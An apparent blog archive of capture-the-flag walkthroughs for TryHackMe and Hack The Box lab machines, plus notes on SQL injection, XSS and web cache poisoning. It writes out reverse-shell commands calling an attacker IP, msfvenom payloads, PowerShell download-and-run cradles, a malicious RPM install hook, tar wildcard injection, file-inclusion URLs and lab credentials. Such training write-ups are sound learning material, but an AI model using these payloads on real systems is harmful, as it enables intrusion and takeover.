Category: Walkthrough

THM – Overpass 2

Published by Bobby Lin on July 4, 2021

Gaining Foothold

ssh james@[TARGET IP] -p 2222
Password: november16

Privilege Escalation

Option 1: Sudo

I tried to sudo but the credentials for James doesn’t work.

Password: whenevernoteartinstant

Previously I have cracked the password for these users but the credentials does not work as well

james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::

Option 2: SUID

I tried to find the SUID binaries. There is one uncommon binary in /home/james/.suid_bash When I execute the binary, there is a bash running but the user was still james. But we can elevate the privilege but running with -p

That’s how we get the root user.

THM – Daily Bungle

Published by Bobby Lin on July 2, 2021

Amazing Spider-Man: The Daily Bugle (2020) #2 | Comic Issues | Marvel

Lab Stats

Time: 6 hours

Hint taken: 0

Difficulty: Hard

Recon

I accessed the web server. This is a blog-like application showing an item that “Spider-man” rob the bank.

Looking at the HTML, it shows that Joomla! is being used.

At first look, I am trying to find the Joomla! version in the web pages – but does not seems to have the info.

I googled for more information and found out that we can see the Joomla! version by looking at the language.

https://www.itoctopus.com/how-to-quickly-know-the-version-of-any-joomla-website

Web Enumeration

Navigate to robots.txt

I tried navigating all the directories in robots.txt. The /administrator was promising because it shows an admin panel.

But I need to find the credentials for Super User first.

Network scanning

ssh (22)
http (80)
mysql (3306)

It seems like the main attack vectors are the web server and database.

Gaining Foothold (1)

I tried a few SQL Injection payload in user login feature. But it does not work.

So I googled for exploit for Joomla! 3.7.0

https://raw.githubusercontent.com/NinjaJc01/joomblah-3/master/joomblah.py

Note: This requires python2

Found table:', 'fb9j5_users') Found user', ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']) (' - Extracting sessions from', 'fb9j5_session')

I will need to crack the password. First, I try to see what is the hash algorithm used for the password using online hash identifier (https://hashes.com/en/tools/hash_identifier)

I tried to use john to crack the password:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt jonah.txt

So the password is spiderman123

I login on as jonah in the admin panel.

Getting Reverse Shell from Joomla!

This took more time.

After googling, I discover that we can change the index.php file in the template to php reverse shell.

Joomla: Reverse Shell

Gaining Foothold (2)

I struggle to find the user flag manually. So I decided to run some Linux Enumeration scripts.

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'

Mistakes

I went through my Linux PE checklist and none of the checks is working.

I saw we have an account:

jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash

In addition, I tried to check a few things:

Trying all the SUID binaries to see if I can escalate privileges -> Doesn’t work
Looking for Kernel Exploits -> Doesn’t work

Then during the linpeas enumeration, I saw a database password was discovered.

Test if mysql has any exploit and whether it is running as root -> Doesn’t work
- I tried to login as root: mysql -u root -p -D joomla
- But there are nothing useful there.
I tried looking for Linux exploits and sudo exploits -> Doesn’t work
No progress. I am going to login as jjameson in SSH. I tried bruteforcing but it does not work.

How I realize my mistakes?

At this point, I have not made any progress other than finding the database password.

MYSQL Password
user: root
pw: nv5uz9r3ZEDzVjNu

So I read through the checklist of other hackers.

This helps alot: https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html

I realized my mistake. I should check if the discovered passwords are being reused for SSH and not rely on brute-forcing only.

SSH – Login Checks Methodology

Check if whether the known passwords are reused? Do this for every new password discovered during enumeration
If not, then try to bruteforce.

I took 4 hours to figure out that the database password is reused as jjameson ssh password.

Privilege Escalation

Now I can login as jjameson.

The first thing I do is to run sudo -l

I saw that this account can run sudo yum.

Yum PE

Good article: https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

First I need to install fpm and rpm.

git clone https://github.com/jordansissel/fpm
cd fpm
sudo gem install fpm
sudo apt-get install rpm

Then create a root.sh file with the payload:

#!/bin/bash

bash -i >& /dev/tcp/[ATTACKER IP]/3333 0>&1

Then create the package with root.sh:

fpm -n root -s dir -t rpm -a all --before-install root.sh .

Start a nc listener at port 3333.

Download the package in the target machine and install:

sudo yum localinstall -y [package name].rpm

In the listener, we will receive connection as root user.

THM- SkyNet

Published by Bobby Lin on July 1, 2021

Recon

Network Enum

I ran a nmap scan on the target machine.

ssh (22): Worth exploring
http (80): Web server is running
pop (110): Maybe an email server is running?
netbios-ssn (139): Worth exploring
imap (143): Maybe an email server is running?
microsoft-ds (445): SMB is worth exploring

Web Enum

I ran gobuster to spider the directory in the web server

gobuster dir -u http://10.10.134.0:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

From the scan result, I see these are directories found:

/admin
/css
/js
/config
/ai
/squirrelmail (this will be interesting to explore)

Most of the directories are restricted.

The squirrelmail page is working but I will need the login credentials.

I don’t have the credentials at the moment. So now the goal is to find out the email credential.

Service Enum

Now I am going to look at the SMB service running at port 445.

I ran the command to connect to the SMB’s anonymous share

smbclient //[TARGET IP]/anonymous

The files look promising to find a clue on how to get the email credentials.

I ran another command to get the content of the SMB share:

smbget -R smb://[TARGET IP]/anonymous

After inspecting the content, I found a list of possible passwords (maybe they belong to Miles?).

Using Burp Intruder, I brute-force the password with username (milesdyson).

Eventually, the password for milesdyson is cyborg007haloterminator

Once I login as milesdyson, I saw a bunch of emails. After reading one of the email, I saw that the SMB password for milesdyson was leaked.

To summarize, these are the found credentials:

Username: milesdyson

Email Password: cyborg007haloterminator

SMB Password: )s{A&2Z=F^n_E.B`

I tried to connect to the SMB milesdyson share with the username and password:

smbclient //[TARGET IP]/milesdyson -U=milesdyson

Then I manage to login to milesdyson share.

At first glance, most of the files are some machine learning pdf.

I went into the notes folder. There are a bunch of markdowns.

But I spotted a textfile named as “important.txt”.

Inside this important.txt file, I saw that milesdyson have a custom CMS with the link “

Spider the directory in the CMS.

Initially I had an issue because I didn’t put the backslash for the URL.

After I have done so, I ran this command:

gobuster dir -u http://10.10.134.0:80/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

/administrator was found.

Navigate to this directory and I can see a CMS named “Cuppa CMS”.

Foothold

To summarize, I found three possible ways to gain a foothold into the system.

ssh
squirrelmail
Cuppa CMS

ssh

I tried to brute-force using hydra with username

hydra -l milesdyson -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-500.txt [TARGET IP] ssh

But this does not work.

Squirrelmail

I searched for possible exploits for squirrelmail (version 1.4.23).

There is an interesting exploit for RCE.

https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html

I followed the steps but the exploit does not work.

Cuppa CMS

I struggle to find the credentials to login to Cuppa CMS (tried with milesdyson credentials to see if password is reused).

I searched for Cuppa CMS exploit and this seems promising

https://www.exploit-db.com/exploits/25971

Basically, we can call a remote file without login to Cuppa CMS.

The examples given in the exploit

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Now I started a python server so that the CMS can call my shell files.

I tried a few ways to execute a shell.

For example, a basic php web shell with CMD param. But this does not work.

I look for more information about the configuration file.

http://10.10.134.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

It seems like there is a file extension restriction. For example, txt and jpeg are allowed. But php is not allowed.

I tried to create a php reverse shell and then change the magic number of the file to jpeg using hexeditor. This will make the Linux machine interpret the file as a jpeg file.

I started the nc listener.

I ran the command to call the php reverse shell:
http://10.10.134.0/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.4.3.145:8889/php-reverse-shell.php

This works and I have shell to the machine.

Immediately I enter the id and whoami command to check what is this account.

This account is “www-data”

I can also find the usr flag in milesdyson home directory

Now I gained a foothold, I will need to escalate privilege.

Privilege Escalation

I tried to use sudo but there is an error. It seems like the shell is “jailed”.

Basically we need to spawn a tty shell. (Link: https://netsec.ws/?p=337)

I used python command to spawn:
python -c 'import pty; pty.spawn("/bin/sh")'

Now I can sudo but this seems useless since I don’t know the password of the current user “www-data user”.

Then I ran some Linux enumeration scripts (lse.sh and LinEnum.sh).

It seems like the possible vectors are the crontab and the suid binaries.

I tried with the suid binaries and struggled because of the sudo issue where I don’t know the password. So much time wasted here

So I looked at the crontab. It seems like there is a backup.sh job executed by the root user.

I looked at the content of backup.sh:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

So the root user cd into /var/www/html and then perform a backup.

Well I think I am in control of the /var/www/html folder.

I looked at the Linux PE checklist again and found a similar attack vector with the use of wildcard in tar.

https://app.gitbook.com/@bobbylin/s/oscp-playbook/privilege-escalation/linux-privesc#wildcards

I should follow the exact steps. I observed that I miss out one step.

I created two files:

touch /home/user/--checkpoint=1 
touch /home/user/--checkpoint-action=exec=shell.elf

Then I created the shell.elf in attacker machine and download in target machine.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=3333 -f elf -o shell.elf

Now I started the listener at the correct port and wait.

After a few minutes, there are no connection from target machine.

This is when I took a hint and saw that there is something wrong with my shell file

I changed the command to:

touch "/home/user/--checkpoint-action=exec=sh shell.elf"

This works and I managed to connect as root.

Look for the root.txt under root directories.

THM – HackPark: Hacking Windows with Hydra, RCE & WinPEAS

Published by Bobby Lin on June 29, 2021

Navigate to the Application and explore the features. You will notice a Login page.

We need to identify a possible username for brute-forcing the credentials. When we look at the blog post, we can see an author named “admin” or “administrator”.

Using Burp Intruder, we can brute-force the password using Seclist’s common credentials:

10-million-password-list-top-100.txt
10-million-password-list-top-500.txt
10-million-password-list-top-1000.txt
10-million-password-list-top-10000.txt
10-million-password-list-top-100000.txt

We found the password: 1qaz2wsx

When we login, we can identify the version of blogengine.

Search for exploits in exploit-db. Choose the verified exploit:

Save the file as PostView.acsx

Once the file is uploaded, we can see the file in File manager.

Start a nc listener in the attacker machine: nc -lvnp 4444

Navigate to <Target Machine>/?theme=../../App_Data/files

Once you gain initial access to the server, we will pivot from netcat to a more stable shell.

Generate a reverse shell exe;

msfvenom -p windows/shell_reverse_tcp LHOST=[Attacker IP] LPORT=3333 -f exe -o shell-x86.exe

Download the shell and Winpeas to C:\Windows\Temp\ (this is world writable).

We can run winPEAS.bat and we can see the uncommon service “Windows Scheduler” running.

cd to C:\PROGRA~2\SYSTEM~1

Examine the files in the directory to see if there are any useful information.

In the Events folder, we can see that Message.exe is being executed by Administrator periodically.

Replace the Message.exe with another reverse shell payload. Rename the existing Message.exe to old_message.exe

In Attacker machine, generate the reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER IP] LPORT=5555 -f exe -o Message.exe

Download the Message.exe (reverse shell) to the folder:

powershell -c wget "http://[ATTACKER IP]/Message.exe" -outfile "Message.exe"

cd C:\Users\Administrator\Desktop and we can see the root.txt flag.

THM – Alfred: Exploiting Jenkins

Published by Bobby Lin on June 26, 2021

Link: https://tryhackme.com/room/alfred

Recon

Run nmap [Target Machine IP]

There are 3 ports open (TCP connect).

Open [Target Machine IP]:80 and [Target Machine IP]:8080.

[Target Machine IP]:8080 is a login page to Jenkins. Google for the default password of Jenkins (admin:admin).

Once you login, you will see a build. If you look at the build job, you can see that this is a Windows machine. Configure the job and insert the reverse shell to the build command:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

Download this powershell in attacker machine and host the file with python server (port 8888).

Run nc -lvnp 4444 in attacker machine. Then trigger a build in this job.

We will get a shell from the Target machine. Look for the user.txt (usually it is in the one of the user’s document or desktop folder).

e text contains:

Upgrade shell

Generate a payload

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[ATTACKER IP] LPORT=3333 -f exe -o shell.exe

Open the msfconsole in attacker machine and run these commands (line by line):

msfconsole
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST [ATTACKER IP] 
set LPORT 3333
run

Download the shell.exe into the Target machine using Jenkins.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://[ATTACKER IP]:8888/shell.exe','shell.exe')"

In the machine, run Start-Process shell.exe to upgrade the shell.

If this is successful, you will see the output in the msfconsole

Privilege Escalation with Access Token

Find out what is the privilege of the user using whoami /priv

In msfconsole, load incognito and run list_tokens -g to find out the available tokens.

Run impersonate_token “BUILTIN\Administrators” command to impersonate the Administrators token

migrate PID-OF-PROCESS

Start a shell.

HTB Writeup: Legacy w/o Metasploit

Published by Bobby Lin on April 6, 2021

Overview

Recon

Quick Scan:

sudo nmap -sC -sV -O -oN nmap/quickscan.txt 10.129.125.96

Two services are identified:
1. netbios-ssn (port:445, likely to be SMB)
2. microsoft-ds

According to the scan result, the victim box is likely to be Microsoft Windows XP SP3 (94%) or Microsoft Windows Server 2003 SP1 or SP2 (92%).

Enumeration

We can use nmap to check if the machine is vulnerable to any public CVEs.

locate *.nse | grep smb

Run the script to check the vulnerabilities.

sudo nmap –script smb-vuln* -p 445 -oN nmap/smb_vulns.txt <victim box IP addr>

We can also google for exploit relating to Windows XP SP3 and SMB.

From our enumeration, we can try these two exploits:
1. MS08-067
2. MS17-010

Exploit

MS08-067

Convert this script to python3: https://raw.githubusercontent.com/andyacer/ms08_067/master/ms08_067_2018.py

Start the netcat listener:

nc -nlvp 443

Get Local Machine IP:

ip addr | grep tun0

Generate the shellcode using msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL MACHINE IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

Copy the shellcode to exploit.py script.

Run the exploit script (make sure you have pip3 install impacket).

Remember that the machine is Windows XP and likely to be SP3. So let’s choose choice 6.

python3 exploit.py <VICTIM BOX IP ADDR> 6 445

There will be a callback on the listener:

The root.txt is in the Desktop folder.

Reflections on the lab

It took me days to achieve a successful exploit. One of the reason is that I was spending two days on debugging python2 exploit scripts for MS17-010 (eternalblue). There is some issue in using pip2 to install impacket. Therefore I targeted MS08-067 instead.

If you are stuck with debugging issue, you need to time-box and move on. You can revisit the issue in the future. Eternalblue is one of the famous NSA exploit. I will definitely need to figure out how to fix the issues when running the exploit script.
I confused LHOST as the IP address of the victim box. Instead I should remember that LHOST is the IP address of the local VM.
You can enumerate issue using nmap as well and not just with searchsploit.
Convert python2 scripts to python3 scripts with online tool such as this.

HTB Writeup: Lame w/o Metasploit

Published by Bobby Lin on April 4, 2021

Overview

Run two nmap scans to determine the open ports, services and OS.
Based on the discovered information, search for possible exploits.
Look for exploits scripts for each service versions for gaining root.
Test the exploits to see if the discovered services are exploitable.

Recon

nmap options

-O <Enable OS detection
-sC <Run default scripts>
-sV <Probe open ports to determine service/version info>
-oA <Output to all format>
-p- <Scan all ports>

Quick scan

sudo nmap -sC -sV -O -oA quickscan 10.10.10.3

Full scan

sudo nmap -p- -sC -sV -O -oA fullscan 10.10.10.3

We can see there is an additional service that is not discovered by the quick scan

Enumeration

We discovered five attack surfaces from our port scanning results. They are:

ftp (port:21, version: vsftpd 2.3.4)
ssh (port:22, version:OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0))
netbios-ssn (port:139, version:Samba smbd 3.X – 4.X (workgroup: WORKGROUP))
netbios-ssn (port:445, version:Samba smbd 3.0.20-Debian (workgroup: WORKGROUP))
distccd (port:3632, version: distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

FTP

One convenient way of checking if the service version has an exploit is to use the searchsploit tool in Kali Linux. Here we can see that this particular FTP version has a reported exploit.

We can try googling for a python exploit. I found this in github:

https://github.com/ahervias77/vsftpd-2.3.4-exploit/blob/master/vsftpd_234_exploit.py

However, when I executed the script, the exploit was not successful. The script was stuck and did not progress further.

SSH

There were a few user enumeration attack on SSH. This usually takes time and we can come back if the other services are not exploitable.

Samba

This particular version of Samba has exploit available.

I found an exploit script in Python: https://github.com/macha97/exploit-smb-3.0.20/blob/master/exploit-smb-3.0.20.py

You will need to update the script by following the steps below:

Get your LHOST:ip addr|grep tun0
Generate the reverse netcat buffer payload:msfvenom -p cmd/unix/reverse_netcat LHOST=<Your LHOST> LPORT=<Specify any port> -f python
Replace line 8 to 15 with the generated payload from msfvenom.
Update victim IP to the box IP address.
Remove line 1.

Install pysmb: pip install pysmb

Exploit

Samba

Start netcat: nc -nlvp 1337
Run the exploit: python3 exploit-smb-3.0.20.py

Now can run command now to get the FLAG in as the root user.

Reflections on the lab

This was the first lab that I have completed in Hack The Box (HTB). I learned a few things here:

This is abit different from purely web application hacking that I am more familiar with. You need to perform recon and systematically enumerate the services.
You need to know how to look for exploits, modifying and debugging the scripts that you found online.
You need to know some tools such as msfvenom, netcat and python etc.
Also port scanning needs to be thorough in order to discover more services that the quick scan does not find.

Notes on Blind SQL Injection

Published by Bobby Lin on January 6, 2021

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab: Blind SQL injection with conditional responses

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

In this lab, we are using the responses to enumerate the password of the “administrator” account. First, we need to perform a check on whether the “administrator” account exists and the length of the password. Once this is done, we will perform a substring query to enumerate each of the character of the password.

You can use Burp Repeater or Intruder to enumerate the password. I find both methods to be time-consuming. I wrote a script to enumerate the password instead. The script will look for “Welcome” value in the response. If it is true, the script will note down the character and continue to the next position until all the password character is enumerated.

Writeups on Free Challenges in BugBountyHunter

Published by Bobby Lin on December 10, 2020

In this post, I will share some writeups on the free challenges in BugBountyHunter platform. I encourage everyone to check out the site https://www.bugbountyhunter.com/.

Cross-Site Scripting in Image Tag

https://www.bugbountyhunter.com/challenge?id=2

How does the feature works? If you select the dropdown option, the image will be rendered with special effects using CSS. In the img tag, we can see the selected option value will appear in class.

What could go wrong? The POST request looks suspicious.

There is no server side validation of the imageClass value. You can send any value and it will be reflected in the response.

We can try sending a few payloads to test for XSS issue. First, we can modify the imageClass value to imageClass=helloworld" onload="alert(1)". The response return a class="1" in the tag. We can try imageClass=helloworld" onclick="alert(1)". The response also return class="1" in the tag.

It seems like there is some blacklisting of some keywords such as onload or onclick etc. Hence we need to find the event handler method that is not blacklisted. Fortunately, this payload was not blocked: img2" onpointerup="alert('xss').

When we click on the image in the browser, the malicious script is executed.

Notes on Web Cache Poisoning

Published by Bobby Lin on October 3, 2020

An attacker can use Web Cache Poisoning technique to send malicious response to other users. The poisoning will happen when certain unkeyed inputs are not validated by the application and allowing the malicious response to be cached.

Basic Example: Unkeyed Header

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

In the request, the attacker discovered that the X-Forwarded-Host value will be reflected in response. The application tries to load a tracking.js file from cache resources. When the attacker passes a specific host in X-Forwarded-Host parameter, the tracking.js file will be loaded from another path <malicious host>/resources/js/tracking.js. Consequently, this allows the attacker to control the content of tracking.js file and load malicious JavaScript (potentially leading to issues such as XSS).

Case of Unknown Header

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header

In most situations, you will need to guess the unkeyed header. If you are using Burp Suite, then Paraminer will be a useful plugin to use.

First, go to the Target tab and select the paths in scope. Then right click on all these selected paths and click Guess Header.

If you are using Burp Pro, then you can see the result appearing in Dashboard - Issue activity.

Some sites may use the Vary header in the response to decide when to use the cached response or to refresh the response from the server. In the lab example, we can see that User-Agent is used to decide when the cached is used. To target your victim, you will need to know their User-Agent and then use the User-Agent values in your poison payload.

In our poison request, we have used X-Host and the victim’s User-Agent. Keep sending the request until you see the X-Cache is `hit`

In the Vary header, we see that User-Agent is used to decide the cache response decision.

DOM XSS from Web Cache Poisoning

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria

In this example, we see how Web Cache Poisoning can cause DOM XSS in an application. In some cases, an application is taking some properties value from a JSON and then use the value dynamically in a DOM. The assumption is that these properties values can be trusted since they are controlled by the application. However if an application is susceptible to Web Cache Poisoning, then these properties value can be controlled by the attacker.

In the example, we first see that that there is a host injection issue. If you use X-Forwarded-Host, then the injected host value will be reflected in the response.

In the response, we can also see that the injected host name will be used for retrieving a JSON value. Using the given exploit server (in the lab), we can see the access log showing that a user is making a GET request to retrieve geolocate.json file.

If we examine the JavaScript carefully, we can see that the country value is taken from the JSON file and then assigned to innerHTML. This is a classic DOM XSS attack surface to take note.

After doing some tracing of the original JSON value, we can see that there is a property called ‘country’ which contains the value that will be passed to the innerHTML.

Since we found the attack surface, we can now create a JSON file in the exploit server. This will return a JSON which contains the DOM XSS payload. Access-Control-Allow-Origin need to be wildcard in order for the object to be shared with the application.

After this is completed, then we can see that the Web Cache Poisoning will be successful and the DOM-XSS payload will be executed.

References

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection

https://portswigger.net/web-security/web-cache-poisoning

https://portswigger.net/research/practical-web-cache-poisoning